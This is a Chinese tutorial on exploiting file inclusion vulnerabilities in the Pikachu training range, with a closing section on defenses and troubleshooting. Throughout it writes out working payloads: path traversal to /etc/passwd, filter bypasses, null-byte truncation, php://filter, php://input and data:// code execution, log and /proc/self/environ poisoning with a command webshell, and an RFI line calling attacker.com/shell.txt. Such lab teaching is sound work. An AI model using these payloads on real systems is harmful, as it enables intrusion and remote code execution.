Pikachu靶场文件包含漏洞实战:从原理到PHP伪协议高阶利用

📅 2026/7/4 13:17:11 👁️ 阅读次数 📝 编程学习
Pikachu靶场文件包含漏洞实战:从原理到PHP伪协议高阶利用

1. 项目概述:为什么文件包含漏洞值得深挖?

在网络安全的学习和实战演练中,靶场扮演着至关重要的角色,它为我们提供了一个安全、可控的环境,去复现、理解和防御真实世界中的漏洞。Pikachu靶场,作为国内安全圈内广为人知的综合性Web漏洞练习平台,其设计初衷就是为了让学习者能够系统性地掌握从漏洞原理到利用手法的完整链条。今天,我们不谈宽泛的概念,就聚焦于其中一个看似“古老”却依然极具威胁的漏洞类型——文件包含漏洞。

文件包含漏洞,尤其是PHP环境下的本地文件包含(LFI)和远程文件包含(RFI),其核心在于程序在引入外部文件时,未能对用户输入进行严格过滤,导致攻击者可以操控文件路径,读取系统敏感文件(如/etc/passwd)甚至执行任意代码。在Pikachu靶场中,这个漏洞被设计得层次分明,从最基础的本地文件读取,到需要结合其他技巧的进阶利用,非常适合用来搭建完整的知识体系。很多新手在通关SQL注入或XSS后,面对文件包含可能会觉得“套路”不同,无从下手,这正是我们需要深入解析的原因。

这篇文章,我将以一个渗透测试工程师的视角,带你从头到尾“盘”一遍Pikachu靶场中的文件包含漏洞模块。我不会只给你一个Payload和结果,而是会拆解每一个关卡背后的代码逻辑、服务器配置环境,并分享在实际渗透测试中,遇到类似代码时,我的思考路径和绕过技巧。无论你是正在刷靶场的新手,还是想巩固Web安全基础的老兵,相信这些从实战中踩坑总结出来的细节,都能给你带来新的启发。

2. 漏洞原理与Pikachu环境搭建探秘

2.1 文件包含漏洞的核心机制剖析

要打好实战,必须先吃透原理。文件包含漏洞主要发生在使用诸如PHP的include()require()include_once()require_once()等函数时。这些函数的本意是提高代码复用性,比如将数据库配置、页头页脚等公共部分写成独立文件,然后在多个页面中引入。

漏洞产生的根本原因在于:这些函数引入的文件路径(或文件名)部分,直接或间接地由用户输入控制,且程序没有对该输入进行有效的校验和过滤。攻击者通过构造特殊的路径参数,就可以“指鹿为马”,让服务器去包含并执行一个非预期的文件。

这里需要明确两个关键概念:

  • 本地文件包含(LFI):包含的是服务器本地的文件。例如,通过?file=../../../../etc/passwd来读取系统密码文件。
  • 远程文件包含(RFI):包含的是远程服务器上的文件。例如,?file=http://attacker.com/shell.txt。这通常需要服务器的allow_url_include配置为On,条件更为苛刻,但危害也更大,因为它可以直接注入Webshell。

在Pikachu靶场中,它模拟了多种常见的漏洞场景,比如使用$_GET$_POST$_COOKIE来传递文件名,并且可能存在不同的过滤逻辑。理解服务器是如何处理你的输入,是构造有效Payload的前提。

2.2 Pikachu靶场部署与调试环境准备

工欲善其事,必先利其器。虽然Pikachu提供了一键安装包,但为了深入理解,我建议你在本地手动部署一个可控的环境。这里我以在Windows系统下使用PHPStudy集成环境为例,分享一下我的搭建和调试心得。

步骤一:基础环境部署

  1. 从Pikachu的GitHub官方仓库或可信源下载源码。
  2. 将解压后的pikachu文件夹,放置到PHPStudy的WWW根目录下。
  3. 启动PHPStudy的Apache和MySQL服务。
  4. 访问http://localhost/pikachu,根据页面提示进行初始化安装(主要是创建数据库)。

注意:很多人在初始化时遇到数据库连接失败,八成是数据库密码没改对。PHPStudy默认的MySQL root密码可能是root或空,请根据你的实际配置,修改pikachu目录下inc/config.inc.php中的数据库连接信息。

步骤二:开启“上帝视角”——配置代码调试单纯打靶意义有限,能看到代码如何执行才是关键。我强烈建议你配置Xdebug配合IDE(如PhpStorm)进行断点调试。

  1. 在PHPStudy中,找到当前PHP版本的配置文件(php.ini),确保已启用Xdebug扩展(通常有一行zend_extension=xdebug)。
  2. 在IDE中配置一个PHP Web Application,将服务器指向你的本地Apache,并设置好路径映射。
  3. 在怀疑存在漏洞的PHP文件(例如pikachu/vul/fileinclude/fi.php)中打上断点。
  4. 启动IDE的调试监听,然后在浏览器中访问对应页面并触发漏洞。

这样,当程序执行到断点处时,你可以清晰地看到$_GET[‘filename’]这个变量当前的值是什么,它是如何经过代码中的str_replace等过滤函数处理的,处理后又变成了什么。这种“透视”能力,对于理解过滤规则和构思绕过Payload至关重要,远比盲目尝试高效得多。

3. Pikachu文件包含关卡实战深度拆解

Pikachu的文件包含模块通常设计了多个关卡,难度循序渐进。我们假设一个典型的关卡结构,来逐一拆解。

3.1 第一关:无防护的本地文件包含(LFI)

这一关通常是漏洞的最原始形态,代码可能长这样:

$filename = $_GET['file']; include($filename);

攻击思路与Payload构造

  1. 读取Web目录外的系统文件:这是最直接的利用。使用目录遍历符../来跳出Web根目录。
    • ?file=../../../../etc/passwd(Linux)
    • ?file=../../../../Windows/System32/drivers/etc/hosts(Windows)
    • 这里../的数量需要根据靶场文件的实际路径深度进行尝试。
  2. 读取Web应用本身的源码:有时系统文件被限制,但可以读源码来分析其他漏洞。
    • ?file=./index.php(使用相对路径)
    • ?file=file1.php(同级目录文件)

实操心得:在不确定路径深度时,可以先用一个肯定存在的Web文件测试,比如?file=fileinclude.php,确认包含功能正常。然后逐步增加../,或者使用Burp Suite的Intruder模块进行模糊测试,快速探测有效的路径深度。

3.2 第二关:基础过滤与绕过技巧

开发者意识到了风险,可能会添加简单的过滤,例如:

$filename = $_GET['file']; $filename = str_replace('../', '', $filename); // 过滤目录遍历 include($filename);

攻击思路与Payload构造: 这种过滤非常初级,存在多种绕过方式:

  1. 双写绕过:因为str_replace只执行一次替换。..././被过滤掉中间的../后,会变成../
    • Payload:?file=..././..././etc/passwd
  2. 绝对路径绕过:如果知道目标文件的绝对路径,且Web进程有权限读取,可以直接使用。
    • ?file=/etc/passwd(Linux)
    • ?file=C:\Windows\System32\drivers\etc\hosts(Windows)
  3. 利用编码或特殊字符(视环境而定):
    • URL编码:../可编码为%2e%2e%2f..%2f。有时过滤逻辑对原始字符有效,但对编码后的字符无效。
    • 使用..\(Windows路径分隔符)尝试,如果服务器是Windows且代码只过滤了/

3.3 第三关:文件后缀限制与截断攻击

更进一步的防护会强制添加后缀,确保包含的是.php文件:

$filename = $_GET['file']; include($filename . '.php');

攻击思路与Payload构造

  1. %00截断(CVE-2006-7242):这是PHP历史版本(<5.3.4)中的一个经典漏洞。在字符串末尾添加空字符(URL编码为%00),PHP的底层函数在处理时会认为字符串在此结束,从而忽略后面强制添加的.php
    • Payload:?file=../../../../etc/passwd%00
    • 前提:PHP版本需低于5.3.4,且magic_quotes_gpc配置为off。在现代靶场中,这通常被模拟为一个“历史漏洞”关卡。
  2. 路径长度截断:在更古老的系统中,存在文件路径长度限制(如256、4096字节)。通过传入超长的路径,使系统自动截断,也能去掉后缀。
    • Payload:?file=../../../../etc/passwd/././././(重复数百次)
    • 这种方法在现代PHP环境中已基本失效,但作为知识需要了解。

3.4 第四关:结合文件上传的致命组合拳

这是文件包含漏洞最具威力的利用场景之一。当网站同时存在文件上传漏洞和文件包含漏洞时,即使上传点对文件内容做了检查(如检查图片头),阻止了直接执行PHP文件,我们也可以利用文件包含来执行它。

攻击流程

  1. 上传一个伪装文件:上传一个包含PHP代码的图片文件(如shell.jpg),内容为``。
  2. 找到文件存储路径:通过上传成功后的回显、查看页面源码图片链接等方式,确定文件在服务器上的访问路径,例如/uploads/shell.jpg
  3. 利用文件包含漏洞执行:通过文件包含参数去包含这个图片文件。
    • Payload:?file=./uploads/shell.jpg
    • 此时,服务器会将其作为PHP代码解析并执行,从而获得一个Webshell。

注意事项:这种利用方式成功的关键在于,文件包含点所在的服务器配置,对于被包含的.jpg文件,仍然使用PHP解析器来解析。这通常由服务器的MIME类型配置或.htaccess(Apache)规则决定。在实战中,如果遇到包含图片文件后直接显示源码而非执行,就需要尝试其他技巧,比如结合日志文件包含、PHP伪协议等。

4. 高阶利用:PHP伪协议的艺术

PHP内置了一系列强大的伪协议(Wrapper),它们原本用于访问各种资源(如文件、HTTP、压缩包),但在文件包含漏洞的背景下,它们成了攻击者的“神兵利器”。Pikachu靶场的高阶关卡往往会涉及这些内容。

4.1 php://filter 协议——读取源码的利器

php://filter是一种元封装器,设计用于在数据流打开时应用过滤器。在LFI中,我们最常用它来读取PHP文件的源码,因为直接包含PHP文件会被执行,我们看到的是执行结果(通常是空白),而非源代码。

利用方式

  • 读取源码?file=php://filter/read=convert.base64-encode/resource=index.php
    • 这个Payload会让服务器先读取index.php的内容,然后经过base64-encode过滤器编码,最后输出。我们在浏览器中会看到一串Base64编码,解码后即可获得纯净的PHP源代码。这对于代码审计、寻找数据库密码等敏感信息至关重要。
  • 其他过滤器:还可以使用string.rot13string.toupper等过滤器,有时可以绕过一些简单的过滤检查。

4.2 php://input 协议——直接执行代码

php://input是个只读流,可以访问请求的原始数据。当allow_url_include开启时,结合POST请求,可以直接执行任意PHP代码。

利用方式

  1. 将请求方法改为POST
  2. 在URL中传入:?file=php://input
  3. 在POST Body中直接写入要执行的PHP代码:``

请求示例(使用Burp Suite或Curl)

POST /pikachu/vul/fileinclude/fi.php?file=php://input HTTP/1.1 ... <?php system('whoami'); ?>

服务器会包含php://input流的内容,并将其作为PHP代码执行,返回命令执行的结果。

4.3 data:// 协议——内联代码执行

data://协议同样需要allow_url_include=On。它允许在URI中直接嵌入数据。

利用方式

  • ?file=data://text/plain,<?php phpinfo();?>
  • 更常见的写法是Base64编码,避免特殊字符问题:?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+(其中PD9waHAgcGhwaW5mbygpOz8+是``的Base64编码)

4.4 利用伪协议的条件与探测

不是所有伪协议在任何环境下都能用,它们的生效有条件:

  • php://filter:几乎总是可用,只要allow_url_fopen为On(默认通常是)。
  • php://inputdata://:需要allow_url_include设置为On。这个配置在默认的php.ini中是Off的,因此实战中较少见,但靶场中常会开启用于教学。

如何探测:可以尝试包含?file=php://filter/resource=/etc/passwd,如果成功读取,说明php://协议可用。再尝试php://inputdata://,看是否能执行代码。

5. 实战中的拓展利用与防御思考

Pikachu靶场为我们展示了标准场景,但真实环境往往更复杂。这里分享几个从靶场延伸到实战的利用思路和对应的防御视角。

5.1 日志文件包含(LFI to RCE)

这是一种非常经典的将本地文件包含升级为远程代码执行的方法。

  1. 原理:Web服务器(如Apache、Nginx)的访问日志、错误日志会记录每一个请求的详细信息,包括User-Agent、Referer等HTTP头。这些头部的值我们是可以通过请求随意控制的。
  2. 利用步骤
    • 第一步:确定日志路径。常见路径如/var/log/apache2/access.log/usr/local/nginx/logs/access.log等。可以通过LFI读取/proc/self/environ/etc/apache2/envvars等文件来推测,或使用常见路径字典爆破。
    • 第二步:污染日志。向目标网站发起一个请求,并在User-Agent中携带PHP代码,例如:User-Agent: <?php system($_GET[‘c’]);?>
    • 第三步:包含日志文件。通过LFI漏洞去包含这个被污染的日志文件:?file=/var/log/apache2/access.log
    • 第四步:执行代码。由于日志文件被包含,其中的PHP代码会被执行。此时可以通过参数传递命令:?file=/var/log/apache2/access.log&c=id

实操心得:日志文件通常很大,包含可能会导致超时或内存耗尽。一个技巧是,在污染日志后,立即发送包含请求,这样我们的恶意代码位于日志文件的末尾,包含速度会快很多。另外,记得对注入的PHP代码进行URL编码,避免被日志系统本身的格式化破坏。

5.2 /proc/self/environ 包含

在Linux系统中,/proc/self/environ是一个特殊的文件,它包含了当前进程(这里是Web服务器进程)的环境变量。其中有一个变量叫HTTP_USER_AGENT,它正是我们浏览器发送的User-Agent头。

利用方式

  1. 通过LFI直接读取/proc/self/environ?file=../../../../proc/self/environ。如果成功,你会看到一长串环境变量。
  2. 和日志包含类似,我们修改请求的User-Agent,植入PHP代码。
  3. 再次包含/proc/self/environ文件,其中的PHP代码就会被执行。

这种方法比日志包含更直接,因为/proc/self/environ是内存文件,更小,包含更快。但它需要Web进程有读取该文件的权限。

5.3 从防御者角度思考:如何彻底杜绝文件包含漏洞

分析了这么多攻击手法,作为开发或安全人员,我们应该如何防御?

  1. 白名单制度是根本:不要使用用户输入直接作为包含的文件名。如果必须动态包含,应基于一个预设的白名单进行映射。例如,$page = $_GET[‘p’];只允许‘home’, ‘about’, ‘contact’,然后include($page . ‘.php’)
  2. 严格过滤路径:如果白名单难以实现,必须对输入进行严格过滤。不仅要过滤../,还要考虑各种编码、大小写变形、绝对路径等。可以使用realpath()函数来解析规范化的绝对路径,然后检查这个路径是否在允许的目录内。
  3. 关闭危险配置:在生产环境中,务必确保php.ini中的allow_url_includeallow_url_fopen设置为Off。这能从根本上杜绝RFI和部分伪协议利用。
  4. 设置open_basedir:在PHP配置中通过open_basedir指令将PHP可操作的文件限制在指定的目录树中,即使包含漏洞被触发,攻击者也无法跳出这个“牢笼”。
  5. 使用安全的文件包含函数(如果存在):例如,可以考虑使用basename()函数只获取路径中的文件名部分,但这只能防御路径遍历,无法防御包含非预期文件。

6. 常见问题排查与实战调试技巧

在实战打靶或真实渗透测试中,你肯定会遇到各种“意外”。这里记录一些我常遇到的问题和解决方法。

6.1 Payload明明对了,为什么没效果?

这是最常见的问题。可以按照以下清单排查:

  1. 路径深度不对../的数量不对,无法跳出Web目录。解决方法:先包含一个已知存在的Web文件(如?file=fileinclude.php)确认基础功能,然后使用Burp Intruder递增../数量进行模糊测试。
  2. 文件权限问题:Web服务器进程(如www-data, apache用户)对目标文件(如/etc/shadow)没有读取权限。解决方法:尝试读取其他权限要求较低的文件,如/etc/passwd/proc/version、Web日志等。
  3. PHP配置限制open_basedir限制生效,无法访问指定目录外的文件。解决方法:尝试读取限制目录内的文件,或寻找其他突破口。
  4. 代码过滤未被绕过:你的Payload可能触发了代码中更深层次的过滤规则。解决方法:必须进行代码审计或调试。用前文提到的Xdebug方法,单步跟踪变量变化,亲眼看看你的输入被改成了什么。

6.2 如何判断是LFI还是RFI?

  1. 尝试基本RFI Payload?file=http://your-vps-ip/test.txt(你的VPS上放一个纯文本文件)。如果页面内容显示了你的文本文件内容,那就是RFI。
  2. 查看错误信息:有时包含一个不存在的远程URL,如果错误信息提示“URL file-access is disabled”或类似,说明allow_url_include是Off的,RFI不可用;如果提示“failed to open stream: HTTP request failed!”,则说明协议可用但URL访问失败,RFI可能可用。
  3. 利用PHP伪协议:尝试?file=php://input配合POST传参,如果能执行代码,说明allow_url_include是On的,RFI很可能也支持。

6.3 包含文件后页面空白或报错怎么办?

  1. 页面空白:最常见的原因是你包含了一个非PHP文本文件(如/etc/passwd),而该文件被当作PHP代码执行了。由于其中没有有效的PHP标签,执行结果就是空白。这其实是好事,说明包含成功且文件被解析了。你应该能看到passwd文件的内容以网页源码形式输出。如果没看到,检查浏览器是否“查看页面源代码”。
  2. 语法错误:如果你包含的文件内容中包含了PHP语法错误(比如你在日志注入的代码不完整),会导致整个页面报错。检查你注入的代码片段是否正确闭合。
  3. 包含自身导致循环:如果Payload不小心包含了漏洞文件自身,可能会引发无限循环或递归包含,导致内存耗尽错误。检查你的路径构造。

6.4 靶场环境与真实环境的差异

最后必须强调,Pikachu等靶场是理想化的学习环境。真实世界的漏洞利用要复杂得多:

  • 过滤规则千奇百怪:真实系统的过滤可能更复杂、多层,需要更精巧的绕过。
  • 信息获取困难:绝对路径、日志路径、服务器配置等都需要花费大量精力去探测。
  • WAF/IDS拦截:你的攻击流量可能被安全设备识别并阻断。
  • 权限限制更严open_basedirdisable_functions、严格的文件权限是常态。

因此,打靶场的终极目的,不是记住那几个Payload,而是掌握漏洞的原理、代码审计的方法、绕过过滤的思维以及系统化的利用链条。把这些思维带入代码审计和渗透测试中,你才能发现那些自动化工具扫不出来的“深层次”漏洞。